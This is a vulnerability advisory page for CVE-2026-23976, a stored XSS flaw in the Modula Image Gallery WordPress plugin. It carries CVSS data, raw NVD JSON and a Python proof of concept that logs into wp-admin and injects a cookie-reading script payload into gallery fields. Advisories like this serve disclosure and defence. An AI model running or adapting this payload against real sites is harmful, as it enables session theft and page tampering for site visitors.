Security Vulnerability Report
中文
CVE-2026-23976 CVSS 5.9 MEDIUM

CVE-2026-23976

Published: 2026-01-22 17:16:38
Last Modified: 2026-04-28 16:16:08

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Modula Image Gallery modula-best-grid-gallery allows Stored XSS.This issue affects Modula Image Gallery: from n/a through <= 2.13.4.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Modula Image Gallery (modula-best-grid-gallery) <= 2.13.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-23976 PoC - Modula Image Gallery Stored XSS # Target: WordPress site with Modula Image Gallery plugin <= 2.13.4 target_url = "http://target-wordpress-site.com" # XSS payload to be injected into image title/description field xss_payload = "<script>alert(document.cookie)</script>" # Authentication (high privilege account required) auth = { "username": "admin", "password": "password" } # Step 1: Login to WordPress admin panel login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { "log": auth["username"], "pwd": auth["password"], "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Create/Edit Modula gallery with XSS payload gallery_url = f"{target_url}/wp-admin/admin.php?page=modulagallery" gallery_data = { "action": "modula_save_gallery", "title": "Malicious Gallery", "description": xss_payload, "image_titles": [xss_payload] } response = session.post(gallery_url, data=gallery_data) # Step 3: When victim visits the page, XSS will be triggered print(f"Gallery created with XSS payload. Payload: {xss_payload}") print(f"Gallery URL: {target_url}/?page_id=<gallery_page_id>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23976", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:38.333", "lastModified": "2026-04-28T16:16:08.147", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Chill Modula Image Gallery modula-best-grid-gallery allows Stored XSS.This issue affects Modula Image Gallery: from n/a through <= 2.13.4."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en WP Chill Modula Image Gallery modula-best-grid-gallery permite XSS Almacenado. Este problema afecta a Modula Image Gallery: desde n/a hasta &lt;= 2.13.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/modula-best-grid-gallery/vulnerability/wordpress-modula-image-gallery-plugin-2-13-4-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}